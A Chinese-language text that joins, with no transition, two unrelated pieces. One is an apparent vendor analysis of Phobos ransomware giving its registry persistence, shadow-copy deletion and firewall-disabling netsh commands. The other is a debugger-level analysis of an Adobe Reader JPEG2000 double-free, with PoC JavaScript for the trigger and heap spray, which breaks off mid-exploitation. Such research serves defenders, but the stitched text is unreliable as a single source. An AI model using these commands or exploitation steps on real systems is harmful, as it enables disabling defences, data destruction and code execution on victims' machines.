近日,深信服安全团队接到多家企业反馈,服务器遭到勒索病毒攻击,重要数据被加密。经安全团队专家排查,该病毒是近期较为活跃的一款勒索病毒,通常通过RDP暴力破解+人工投放的方式进行攻击,攻击者成功入侵后,通常会关闭系统的安全软件防护功能,运行勒索病毒,加密后会修改文件后缀为[原文件名]+id[随机字符串]+[邮箱地址].phobos,相关的邮箱地址有[email protected][email protected][email protected]等。

值得关注的是,该勒索病毒在运行过程中会进行自复制,并在注册表添加自启动项,如果没有清除系统中残留的病毒体,很可能会遭遇二次加密。

勒索特征

1.勒索信息如下所示:

00.png

01.png

2.勒索病毒加密后的文件后缀名为[原文件名]+id[随机字符串]+[邮箱地址].phobos,如下所示:

03.png

详细分析

1.获取进程Token特权信息,如下所示:

04.png

2.获取硬盘信息,如下所示:

05.png

3.解密出互斥变量名Global\00011A9E993800,创建互斥变量,如下所示:

06.png

4.提升进程权限,如下所示:

07.png

5.拷贝自身到C:\Users\panda\AppData\Local目录下,然后设置自启动注册表项,如下所示:

08.png

设置的自启动注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,如下所示:

09.png

设置的自启动注册表项

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,如下所示:

10.png

拷贝后的文件,如下所示:

11.png

6.拷贝自身到系统启动项目录,如下所示:

12.png

拷贝后的文件,如下所示:

13.png

7.创建线程,创建管道,然后通过CreateProcess调用cmd命令,删除磁盘卷影和备份操作,如下所示:

14.png

调用的相应命令,如下所示:

15.png

8.创建线程,创建管道,然后通过CreateProcess调用cmd命令,关闭防火墙,相应的命令,如下所示:

16.png

相应的命令,如下:

netsh advfirewall set currentprofile state off\nnetsh firewall set opmode mode=disable  
exit

9.解密生成相应加密后缀,如下所示:

17.png

10.解密要加密的文件后缀名列表,如下所示:

18.png

11.解密出不加密的文件名列表以及勒索信息超文件本件名info.hta,如下所示:

19.png

不加密的文件名列表,如下所示:

boot.ini、bootfontbin、ntldr、ntdetect.com、io.sys

12.解密出不加密的文件目录列表,如下所示:

20.png

相关的文件目录列表,如下所示:

C:\Windows、Program Files、Program Files(x86)

c:\windows、program files、program files(x86)

13.创建线程,遍历磁盘目录,如下所示:

21.png

14.创建线程,遍历共享目录,如下所示:

22.png

15.遍历文件,如下所示:

23.png

16.设置加密的密钥,如下所示:

24.png

加密文件,加密的后缀名为.id[1A9E9938-0001].[[email protected]].phobos,如下所示:

25.png

18.在每个磁盘根目录下生成相应的勒索信息文件info.hta和info.txt,如下所示:

26.png

解决方案

针对已经出现勒索现象的用户,由于暂时没有解密工具,建议尽快对感染主机进行断网隔离。深信服提醒广大用户尽快做好病毒检测与防御措施,防范该病毒家族的勒索攻击。

病毒防御

深信服安全团队再次提醒广大用户,勒索病毒以防为主,目前大部分勒索病毒加密后的文件都无法解密,注意日常防范措施:

1、及时给电脑打补丁,修复漏洞。

2、对重要的数据文件定期进行非本地备份。

3、不要点击来源不明的邮件附件,不从不明网站下载软件。

4、尽量关闭不必要的文件共享权限。

5、更改账户密码,设置强密码,避免使用统一的密码,因为统一的密码会导致一台被攻破,多台遭殃。

6、如果业务上无需使用RDP的,建议关闭RDP。

最后,建议企业对全网进行一次安全检查和杀毒扫描,加强防护工作。

测试环境

Windows 7 SP1 x86

Adobe Reader 2017.009.20044

漏洞成因

Adobe 官方安全公告说这是一个 Double Free 漏洞, 内存相关的问题, 我们打开页堆后运行 Reader, 用 Windbg 附加, 打开 POC 后崩溃, 崩溃位置以及栈回溯:

0:000> r
eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=022e0000 edi=022e0000
eip=6f096e88 esp=0019a478 ebp=0019a4c4 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
6f096e88 813abbbbcdab    cmp     dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????
0:000> kv L0c
 # ChildEBP RetAddr  Args to Child
00 0019a4c4 6f096f95 022e1000 d0d0d0d0 022e0000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [Non-Fpo])
01 0019a4e8 6f097240 022e1000 d0d0d0d0 0019a558 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [Non-Fpo])
02 0019a504 6f099080 022e1000 d0d0d0d0 008fd21e verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [Non-Fpo])
03 0019a520 779065f4 022e0000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [Non-Fpo])
04 0019a568 778ca0aa 022e0000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [Non-Fpo])
05 0019a65c 778965a6 00000000 d0d0d0d0 3f304f98 ntdll!RtlpFreeHeap+0x5d (FPO: [Non-Fpo])
06 0019a67c 771bbbe4 022e0000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [Non-Fpo])
07 0019a690 6d30ecfa 022e0000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [Non-Fpo])
08 0019a6a4 68c40622 d0d0d0d0 8348117b 433f2fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl)
WARNING: Stack unwind information not available. Following frames may be wrong.
09 0019a7c4 68c56444 4cf46fb8 3c5f8fd8 000000fd JP2KLib!JP2KCopyRect+0xbad6
0a 0019a81c 6dfa5f50 48412e88 6829efd0 3c5f8fd8 JP2KLib!JP2KImageInitDecoderEx+0x24
0b 0019a8a4 6dfa78ed 3d074fa8 433f2fac 3d074fa8 AcroRd32!AX_PDXlateToHostEx+0x25e41d

可以看到, jp2klib 在调用 free 释放时奔溃了, 这里释放的地址是 0xd0d0d0b0, 这是页堆的后置填充数据, 这里似乎是访问越界了, 我们 ub 看下调用 free 处的代码:

68c40605 8bcb            mov     ecx,ebx
68c40607 894d10          mov     dword ptr [ebp+10h],ecx
68c4060a 395804          cmp     dword ptr [eax+4],ebx
68c4060d 7e2c            jle     JP2KLib!JP2KCopyRect+0xbaef (68c4063b)
68c4060f 8b4648          mov     eax,dword ptr [esi+48h]
68c40612 8b400c          mov     eax,dword ptr [eax+0Ch]
68c40615 8b0488          mov     eax,dword ptr [eax+ecx*4]
68c40618 85c0            test    eax,eax
68c4061a 7413            je      JP2KLib!JP2KCopyRect+0xbae3 (68c4062f)
68c4061c 50              push    eax
68c4061d e88a690100      call    JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8 (68c56fac) ; free
68c40622 8b4648          mov     eax,dword ptr [esi+48h]
68c40625 59              pop     ecx
68c40626 8b4d10          mov     ecx,dword ptr [ebp+10h]
68c40629 8b400c          mov     eax,dword ptr [eax+0Ch]
68c4062c 891c88          mov     dword ptr [eax+ecx*4],ebx
68c4062f 8b4648          mov     eax,dword ptr [esi+48h]
68c40632 41              inc     ecx
68c40633 894d10          mov     dword ptr [ebp+10h],ecx
68c40636 3b4804          cmp     ecx,dword ptr [eax+4]
68c40639 7cd4            jl      JP2KLib!JP2KCopyRect+0xbac3 (68c4060f)

可以看到, 这里在循环调用 free 函数, 我们重新调试, 在取出被释放的值之前下断, 这里在 jp2klib + 0×50605 的位置下断.

刚附加时, jp2klib 是没有加载的, 这里可以使用命令 sxe ld jp2klib 等加载了这个模块以后再下断. 断下后调试我们可以发现, 这里在和 0xff 进行比较, 也就是循环要执行 0xff 次:

6cd30605 8bcb            mov     ecx,ebx
6cd30607 894d10          mov     dword ptr [ebp+10h],ecx
6cd3060a 395804          cmp     dword ptr [eax+4],ebx ds:0023:7051ffe4=000000ff
6cd3060d 7e2c            jle     JP2KLib!JP2KCopyRect+0xbaef (6cd3063b)

继续跟踪, 跟到要从 eax 指向的内存中取出要释放的地址时, 我们看下 eax 所指内存块:

0:000> !heap -p -a eax
    address 07d1e180 found in
    _HEAP @ d50000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        07d1e178 0081 0000  [00]   07d1e180    003f4 - (busy)

可以看到, 这个 eax 所指内存只有 0x3f4 大小, 而 0x3f4 / 4 = 0xfd, 也就是说这里循环 0xff 次比正常的多了两次, 也就是越界访问了 8 个字节, 这也就是为什么前面会释放页堆后置填充数据的原因.

我们关掉页堆重新调试, 继续在之前的地方下断, 断下后查看越界访问的 8 字节:

0:000> dc eax + 0x3f4
07d1e574  0d0e0048 0d0f0048 00000000 0e17e719  H...H...........
07d1e584  88000000 00000000 000003f0 08231608  ..............#.
07d1e594  00000000 00000000 00000000 00000000  ................

可以看到, 这里被填充了两个值, 通过查看 POC 也可以看到, 这两个值是在 POC 中指定的, 也就是说, 此处的问题可以造成任意两个地址被释放. 接着的问题就是为何会造成这里的越界访问, eax 所指内存从哪里分配? 大小又是怎么计算的? 循环的次数又从何而来?

我们看上面的代码, eax 所指内存在 poi(poi(esi + 0×48) + 0x0c), 而比较的次数在 +0×04 的位置, 这里我们可以通过在 IDA 追溯到 esi 的分配位置, 找到后下断重新调试, 然后在分配后的偏移 0×48 的位置下内存写入断点, 找到给 0×48 偏移赋值的位置, 然后再对这里的内存地址偏移 0x0c 的位置下内存写入断点, 这样依次跟踪. 也可以使用 !address 首先看下 esi 所指内存的类型, 发现是堆内存, 直接开启 UST, !heap -p -a 一下就可以看到 esi 的分配地址了. 这里因为用内存写入断点的方法跟踪过, 知道了偏移 0×48 和偏移 0x0c 处的内存也是堆内存, 所以这里可以直接用 UST 找到分配 0x0c 处内存的位置.

找到 0x0c 偏移处内存的分配位置后, 重新调试并下断 jp2klib + 0×41391:

5edb1380 8b5df0          mov     ebx,dword ptr [ebp-10h]
5edb1383 3bc3            cmp     eax,ebx
5edb1385 0f821a090000    jb      JP2KLib!JP2KCodeStm::write+0x187c5 (5edb1ca5)
5edb138b c1eb02          shr     ebx,2
5edb138e 6a04            push    4
5edb1390 53              push    ebx
5edb1391 e8295b0200      call    JP2KLib!JP2KTileGeometryRegionIsTile+0xcb (5edd6ebf)
5edb1396 837f4800        cmp     dword ptr [edi+48h],0 ds:0023:05022a50=00000000
5edb139a 59              pop     ecx
5edb139b 59              pop     ecx
5edb139c 8945f8          mov     dword ptr [ebp-8],eax
5edb139f 7516            jne     JP2KLib!JP2KCodeStm::write+0x17ed7 (5edb13b7)
5edb13a1 6a01            push    1
5edb13a3 6a20            push    20h
5edb13a5 e8155b0200      call    JP2KLib!JP2KTileGeometryRegionIsTile+0xcb (5edd6ebf)
5edb13aa 894748          mov     dword ptr [edi+48h],eax

断下后可以看到, 在 5edb1391 分配时 ebx 等于 0xfd, 通过分析可以知道, 这里的分配函数有两个参数, 第一个参数是元素个数, 第二个参数是元素类型, 这里分配了 0x3f4 字节, ebx 的原始值在 ebp-10 中, 我们可以看下:

0:000> dd ebp-10 L1
0024a3e0  000003f4

下面 5edb13a5 分配的 20 字节其实就是偏移 0×48 处的内存, 也就是前面的 poi(esi + 0×48), 这可以通过之前在找到分配 esi 的位置后, 下内存写入断点确认, 也可以在循环释放时直接利用 UST 找到这个位置. 当这 20 字节内存分配后, 直接在偏移 0x0c 的位置下内存写入断点, 就可以发现最后把上面分配的大小为 0x3f4 的内存地址赋值到此处.

接着看看这块内存的大小是怎么计算的, 我们在 IDA 追溯 ebp-10, 看看里面的值是在哪里赋值的:

.text:00041333 mov     eax, ebx
.text:00041335 mov     ecx, esi
.text:00041337 sub     eax, [ebp+var_4]
.text:0004133A push    eax
.text:0004133B mov     [ebp+var_10], eax

跟到这里可以看到, ebp-10h 的值来自 ebx 减 ebp-4 的值, 继续跟踪发现 ebx 的值来自 ebp-14h, 继续跟踪, 发现如下代码:

.text:00040FEE push    esi
.text:00040FEF lea     eax, [ebp+var_4]
.text:00040FF2 push    eax
.text:00040FF3 lea     eax, [ebp+var_18]
.text:00040FF6 push    eax
.text:00040FF7 lea     eax, [ebp+var_14]
.text:00040FFA push    eax
.text:00040FFB call    sub_3FD43

这里将 ebp-4 和 ebp-14h 的地址都当作参数传进去了, 我们可以在该函数下断跟进(也可以对两个地址下内存写入断点, 可以确认就是该函数填充的值):

5ee1fd43 55              push    ebp
5ee1fd44 8bec            mov     ebp,esp
5ee1fd46 56              push    esi
5ee1fd47 8b7514          mov     esi,dword ptr [ebp+14h]
5ee1fd4a 8bce            mov     ecx,esi
...
5ee1fd5c 53              push    ebx
5ee1fd5d 57              push    edi
5ee1fd5e 6a04            push    4
5ee1fd60 8bce            mov     ecx,esi
5ee1fd62 e8b4b5fcff      call    JP2KLib!JP2KUserActions::operator=+0xa07b (5edeb31b)
5ee1fd67 8b7d08          mov     edi,dword ptr [ebp+8]
5ee1fd6a 8bce            mov     ecx,esi
5ee1fd6c 6a04            push    4
5ee1fd6e 8907            mov     dword ptr [edi],eax ; 赋值给 ebp-14h 
5ee1fd70 e8a6b5fcff      call    JP2KLib!JP2KUserActions::operator=+0xa07b (5edeb31b)
5ee1fd75 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
5ee1fd78 8b5d10          mov     ebx,dword ptr [ebp+10h]
5ee1fd7b 6a08            push    8
5ee1fd7d 8901            mov     dword ptr [ecx],eax
5ee1fd7f 58              pop     eax
5ee1fd80 8903            mov     dword ptr [ebx],eax ; 赋值给 ebp-4

当执行完 5ee1fd62 处的函数 5edeb31b 后, 发现 eax 等于 0x3fc, 在这个函数的下方也可以发现给 epb-4 和 ebp-14h赋值的地方. 我们跟进 5edeb31b 函数:

if ( a1 && a1 <= 4 ) {
  v4 = (unsigned __int8)sub_B21A((int)this, (_BYTE *)&a1 + 3);
  if ( v2 > 1 ) {
    v5 = v2 - 1;
    do {
      v4 = (unsigned __int8)sub_B21A((int)v3, (_BYTE *)&a1 + 3) + (v4 << 8);
      --v5;
    } while ( v5 );
  }
  result = v4;
}

可以看到, 这个函数调用 sub_B21A 每次读取一个字节, 然后通过左移位合在一起. 我们进入 sub_B21A 函数查看:

v2 = this;
if ( *(_BYTE *)(this + 8) || *(_DWORD *)(this + 0x10) >= *(_DWORD *)(this + 0x14) )
  ...
if ( *(_BYTE *)(v2 + 9) && *(_DWORD *)(v2 + 0x10) >= *(_DWORD *)(v2 + 0x14) ) {
  ...
} else {
  v1 = *(char **)(v2 + 0x10);
  v5 = *v1;
  ++*(_DWORD *)(v2 + 0x1C);
  *(_BYTE *)(v2 + 0x18) = v5;
  *(_DWORD *)(v2 + 0x10) = v1 + 1;
  result = *(_BYTE *)(v2 + 0x18);
}
return result;

可以看到该函数从 ecx 指向的内存中取一个指针并取值, 查看 poi(ecx + 0×10) 指向的数据:

0:000> db poi(ecx + 0x10)
17d3be80  00 00 00 0c 6a 50 20 20-0d 0a 87 0a 00 00 04 1d  ....jP  ........
17d3be90  6a 70 32 68 00 00 00 16-69 68 64 72 00 00 00 20  jp2h....ihdr... 
17d3bea0  00 00 00 20 00 01 ff 07-00 00 00 00 03 fc 63 6d  ... ..........cm
17d3beb0  61 70 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ap..............
17d3bec0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
17d3bed0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
17d3bee0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
17d3bef0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

可以看到一些关键字 jp2h, ihdr 等. 通过搜索可以知道这是一个 jpg2000 文件. 通过多次调试可以知道, ecx 偏移 0x0c 处的指针一直指向该文件数据的起始位置, 偏移 0×10 处的指针指向当前取值位置, 偏移 0×14 处指向数据结尾, 偏移 0×04 处存放数据的大小.

由于 5edeb31b 函数会被调用多次, 我们可以下条件断点, 看看第几次调用时返回的 eax 等于 0x3fc:

r $t0 = 0
bp jp2klib + 0x3fd67 "r $t0 = $t0 + 1; .if eax != 0x3fc {g;} .else {.printf \"count: %d\", $t0;}"

通过上述断点我们可以知道在第四次时该函数返回 0x3fc, 我们重新调试下断, 第四次中断时跟进. 通过跟踪可以发现, 0x3fc 是从 jpg2000 文件的如下位置读取的:

17d3bea0  00 00 00 20 00 01 ff 07-00 00 [00 00 03 fc] 63 6d  ... ..........cm
17d3beb0  61 70 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ap..............

接着再继续寻找前面的循环次数 0xff 是从哪儿获取的, 我们可以对存放该值的位置下内存写入断点, 也就是前面分配的 20 字节大小内存的偏移 0×04 的位置. 下断运行后断在如下位置:

.text:00041125                 mov     ecx, [edi+48h]
.text:00041128                 mov     [ecx], eax
.text:0004112A                 mov     ecx, [esi+10h]
.text:0004112D                 inc     dword ptr [esi+1Ch]
.text:00041130                 mov     al, [ecx]
.text:00041132                 mov     [esi+18h], al
.text:00041135                 lea     eax, [ecx+1]
.text:00041138                 movzx   ecx, byte ptr [esi+18h]
.text:0004113C                 mov     [esi+10h], eax
.text:0004113F                 mov     eax, [edi+48h]
.text:00041142                 mov     [eax+4], ecx
.text:00041145                 mov     ecx, [edi+48h] ; 断在此处

可以看到将 ecx 的值赋值给偏移 0×04 处, 我们可以重新调试并在 0×41125 处下断调试. 通过调试可以发现 ecx 的值来自 esi+10h 处的指针, 而这里的 esi 就是上面的 this 指针 ecx, 其偏移 0×10 处存放的是指向当前取值位置的指针, 我们看下当前指向的数据:

0:000> dc ecx - 20
4e6f9bc0  00000000 00000000 00000000 00000000  ................
4e6f9bd0  00000000 00000000 63700b00 ffff726c  ..........pclr..
4e6f9be0  ffffffff ffffffff ffffffff ffffffff  ................
4e6f9bf0  ffffffff ffffffff ffffffff ffffffff  ................
4e6f9c00  ffffffff ffffffff ffffffff ffffffff  ................

可以看到, 同样是 jpg2000 文件的数据. jpg2000 文件包含在 PDF 中, 我们可以通过在 PDF 中搜索关键字 image 找到存放该文件的流对象, 在 POC 中该流是没有编码的, 但是真实样本中流是可能编码的, 需要解码后才能看到原始数据, 找到的流数据如下:

2600h: 0D 0A 0D 0A 32 33 20 30 20 6F 62 6A 0D 0A 3C 3C  ....23 0 obj..<< 
2610h: 0D 0A 2F 53 75 62 74 79 70 65 20 2F 49 6D 61 67  ../Subtype /Imag 
2620h: 65 0D 0A 2F 46 69 6C 74 65 72 20 2F 4A 50 58 44  e../Filter /JPXD 
2630h: 65 63 6F 64 65 0D 0A 2F 4C 65 6E 67 74 68 20 32  ecode../Length 2 
2640h: 31 32 33 0D 0A 2F 4E 61 6D 65 20 2F 58 0D 0A 2F  123../Name /X../ 
2650h: 57 69 64 74 68 20 33 32 0D 0A 2F 54 79 70 65 20  Width 32../Type  
2660h: 2F 58 4F 62 6A 65 63 74 0D 0A 2F 48 65 69 67 68  /XObject../Heigh 
2670h: 74 20 33 32 0D 0A 3E 3E 0D 0A 73 74 72 65 61 6D  t 32..>>..stream 
2680h: 0D 0A 00 00 00 0C 6A 50 20 20 0D 0A 87 0A 00 00  ......jP  ..‡... 
2690h: 04 1D 6A 70 32 68 00 00 00 16 69 68 64 72 00 00  ..jp2h....ihdr.. 
26A0h: 00 20 00 00 00 20 00 01 FF 07 00 00 00 00 03 FC  . ... ..ÿ......ü 
26B0h: 63 6D 61 70 00 00 00 00 00 00 00 00 00 00 00 00  cmap............ 
... 
2A90h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 
2AA0h: 00 00 00 00 00 00 00 00 00 00 00 0B 70 63 6C 72  ............pclr 
2AB0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 
2AC0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 
2AD0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 
2AE0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 
2AF0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 
2B00h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ

至此, 我们知道了内存块的大小和循环次数均是来自恶意的 jpg2000 文件, 因此导致了越界访问, 可以释放任意两个地址. 这里我们在看下 POC, 看看是哪里触发了这个问题, 我们在 POC 中看到如下代码:

function myfun1()
{
    ....
    var f1 = this.getField("Button1");
    if(f1)
    {
        f1.display = display.visible;
    }
    var sto2 = app.setTimeOut("myfun2()",250);
}
function myfun2()
{
    var f1 = this.getField("Button1");
    if(f1)
    {
        f1.display = display.hidden;
    }
    ...
}

这里推测就是这段代码触发了越界访问, 因为纵观整个 POC, 这段代码前后基本就是内存分配布局操作了, 这里我们可以在 myfun1 中的代码段前后插入 alert 弹窗, 并配合调试器在越界访问的循环处下断点, 测试后发现, 正是执行了这段代码以后就断在了越界访问循环处. 通过测试发现删掉 myfun2 中的代码段并不影响, 但是删掉 myfun1 中的只保留 myfun2 中的或者删掉 myfun1 中的把 myfun1 中的代码段复制到 myfun2 也是不行的.

最后, 再来看一下修复过的文件在流程上有什么不同, 使用的修复版本为 Adobe Reader 2018.011.20040. 通过调试比较可以发现, 在分配了 20 字节大小的内存后给偏移 0x0c 处赋值时有如下区别:

if ( *(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 4) ) {
    ...
}
sub_66FAC(*(void **)(*(_DWORD *)(a2 + 0x48) + 0xC));
v78 = v140;
*(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 0xC) = 0;
*(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 0xC) = v78;
-----------------------------------------------------
if ( *(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 4) ) {
    ...
}
v80 = *(_DWORD *)(a2 + 0x48);
if ( *(_DWORD *)(v80 + 0xC) ) {
  sub_6706A(*(void **)(v80 + 0xC));
  v81 = v143;
  *(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 0xC) = 0;
  *(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 0xC) = v81;
}

可以看到, 修复前(分隔符上面的代码)在给偏移 0x0c 处赋值时没有做任何判断, 直接赋值, 而修复后的代码在赋值之前比较了是否为 0 , 如果为 0 则不进行赋值. 这里没有赋值到了后面进入循环之前自然就过不了是否为空的判断.

漏洞利用

我们用编辑器打开 POC, 查看其中的 JS 代码, 看看是如何利用该漏洞的. 打开后可以看到, 首先分配了一些内存, 这里我们可以用文章: CVE-2018-4990 Adobe Reader 代码执行漏洞利用分析 中的方法, 在 JS 代码添加一些我们自己的代码来辅助我们分析对象在内存中的结构, 这里我们先在 a1 的分配循环后面插入如下代码查看 a1 分配后的情况:

var my_array = new Array(0x10);    
my_array[0] = 0x23badbad;
my_array[1] = a1[1];
my_array[2] = a1[2];
my_array[3] = 0;
a1[1][0] = 0xbadbad22;
a1[1][1] = 0xbadbad33;
app.alert("pause");

然后打开 POC, 在弹框后用 Windbg 附加, 使用命令

s -d 0x10000 L?7fffffff 0x23badbad

搜索. 这里注意, 经过测试, Tag 的设置不能大于 0×80000000, 不然搜索时会搜不到. 搜索到以后, 查看内存:

0:009> s -d 0x10000 L?7fffffff 0x23badbad
05d15b70  23badbad ffffff81 05492660 ffffff87  ...#....`&I.....
0:009> dc 05d15b70  
05d15b70  23badbad ffffff81 05492660 ffffff87  ...#....`&I.....
05d15b80  054926b8 ffffff87 00000000 ffffff81  .&I.............
05d15b90  05492768 ffffff87 054927c0 ffffff87  h'I......'I.....
05d15ba0  05492818 ffffff87 05492870 ffffff87  .(I.....p(I.....
05d15bb0  7247e12b 8c000000 69375cd4 05d14da8  +.Gr.....\7i.M..
05d15bc0  69375d20 69375d34 05d64838 00000000   ]7i4]7i8H......

这里可以看到我们设置的 Tag 以及我们放入的两个对象的地址. 每个地址后面跟的应该是该对象的类型, 这里我们放入的两个对象全是数组类型的, 所以都是相同的值. 这里注意到, 我们放入的那两个对象的地址几乎是挨着的, 我们查看一下:

image.png

因为 a1 的每个元素都是一个有 252(0xfd) 元素 Uint32Array, 总共有 0x3f0 字节, 我们可以在上面看到这两个值. 通过尝试, 我们可以知道, 上图中的 0x3f0 后面的 0x54372f0 偏移 0x0c 处的指针就是指向实际存储数据的指针(可以看到, 对象地址偏移 0×50 处也是该指针值: 0x05b601b0):

0:009> dd 054372f0 Lc
054372f0  054b2b38 05425be0 00000000 05b601b0
05437300  00000000 00000000 00000000 00000000
05437310  00000000 00000000 00000000 00000000
0:009> dd 05b601b0 Lc
05b601b0  badbad22 badbad33 00000000 00000000
05b601c0  00000000 00000000 00000000 00000000
05b601d0  00000000 00000000 00000000 00000000
0:009> dd 05b601b0 + 0n249 * 4 Lc
05b60594  0d0e0048 0d0f0048 00000000 736339a9
05b605a4  88000066 ffffff00 ffffff00 ffffff00
05b605b4  00000000 0000005f 000000a1 000000a1

这里可以看到我们设置的值以及 POC 代码设置的两个值. 通过 !heap 命令我们可以知道这块内存在堆中的大小, 这里我们也查看一下 POC 设置的两个值:

0:009> !heap -p -a 05b601b0 
    address 05b601b0 found in
    _HEAP @ 890000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        05b60198 0081 0000  [00]   05b601a0    00400 - (busy)
0:009> !heap -p -a 0d0e0048
0:009> !heap -p -a 0d0f0048
0:009> !address 0d0e0048
Usage:                  Free
Base Address:           08890000
End Address:            65b60000
Region Size:            5d2d0000 (   1.456 GB)
State:                  00010000          MEM_FREE
Protect:                00000001          PAGE_NOACCESS
Type:                   <info not present at the target>

可以看到此时 POC 设置的两个地址都还没有被分配. 继续查看 POC 可以发现接下来分配了 0×1000 个大小为0×10000 – 24 的 ArrayBuffer, 我们用上面获取对象地址的方法, 看下 ArrayBuffer:

for(var i1=1;i1<spraynum;i1++) {    
    sprayarr[i1] = new ArrayBuffer(spraylen);                         
}
var my_array = new Array(0x10);
my_array[0] = 0x23badbad;
my_array[1] = sprayarr[1];
my_array[2] = sprayarr[2];
my_array[3] = 0;
app.alert("233");

这里注意, 因为 ArrayBuffer 没法像数组一样直接使用, 所以不能像前面一样往这个数组中赋值了. 改好后打开搜索我们的 Tag, 找到我们的数组, 可以看到, 这里 sprayarr[1] 和 sprayarr[2] 同样的挨着的:

0:012> dc 05291f00 Lc
05291f00  23badbad ffffff81 0819e420 ffffff87  ...#.... .......
05291f10  0819e4b8 ffffff87 00000000 ffffff81  ................
05291f20  0056004e 00540049 005f0045 00540053  N.V.I.T.E._.S.T.
0:012> dc 0819e420 Lc
0819e420  05eb2b38 05e25be0 00000000 06cf0058  8+...[......X...
0819e430  00000000 00000000 00000000 00000000  ................
0819e440  00000000 00000000 00000000 00000000  ................
0:012> !heap -p -a 06cf0058  
    address 06cf0058 found in
    _HEAP @ 9d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        06cf0040 2000 0000  [00]   06cf0048    0fff8 - (busy)
0:012> dc 06cf0048 Lc  
06cf0048  00000000 0000ffe8 00000000 00000000  ................
06cf0058  00000000 00000000 00000000 00000000  ................
06cf0068  00000000 00000000 00000000 00000000  ................

这里分析尝试可以知道, sprayarr[1] 这个对象的地址偏移 0xc 处的指针 0x06cf0058 就是指向实际存储数据的缓冲区, 我们查看它发现 UserPtr 是从 06cf0048 开始的, 我们查看这里可以看到, 偏移 4 处是它的长度 0xffe8(0×10000 – 24). 此时我们再查看 POC 设置的那两个值:

0:012> !heap -p -a 0d0e0048
    address 0d0e0048 found in
    _HEAP @ 9d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 2000 0000  [00]   0d0e0048    0fff8 - (busy) 
0:012> !heap -p -a 0d0f0048
    address 0d0f0048 found in
    _HEAP @ 9d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0f0040 2000 0000  [00]   0d0f0048    0fff8 - (busy)

可以看到, 这两个地址已经被分配了. 接着查看 POC, 可以看到如下代码:

for(var i1=1;i1<(l1);i1=i1+2) {    
     delete a1[i1];
     a1[i1] = null;
}

这里将上面 a1 中分配的数组隔一个释放一个, 我们前面知道了 a1 中一个数组元素的大小是 0×400, 执行完这段代码后, 就在内存中布局了一些大小为 0×400 的空洞:

0:012> !heap -flt s 0x400
    _HEAP @ 520000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0052e360 0081 0000  [00]   0052e368    00400 - (busy)
        048537c8 0081 0081  [00]   048537d0    00400 - (busy)
        ......
        05dc8d68 0081 0081  [00]   05dc8d70    00400 - (busy)
        05dc9170 0081 0081  [00]   05dc9178    00400 - (busy)
        05dc9578 0081 0081  [00]   05dc9580    00400 - (free)
        05dc9980 0081 0081  [00]   05dc9988    00400 - (busy)
        ......
        05fb2500 0081 0081  [00]   05fb2508    00400 - (free)
        05fb2908 0081 0081  [00]   05fb2910    00400 - (busy)
        05fb2d10 0081 0081  [00]   05fb2d18    00400 - (free)
        05fb3118 0081 0081  [00]   05fb3120    00400 - (busy)
        05fb3520 0081 0081  [00]   05fb3528    00400 - (free)
        05fb3928 0081 0081  [00]   05fb3930    00400 - (busy)
        05fb3d30 0081 0081  [00]   05fb3d38    00400 - (free)
        05fb4138 0081 0081  [00]   05fb4140    00400 - (busy)
        05fb4540 0081 0081  [00]   05fb4548    00400 - (free)
        05fb4948 0081 0081  [00]   05fb4950    00400 - (busy)
        ......
        05fbd158 0081 0081  [00]   05fbd160    00400 - (free)
        05fbd560 0081 0081  [00]   05fbd568    00400 - (busy)
        05fbd968 0081 0081  [00]   05fbd970    00400 - (free)
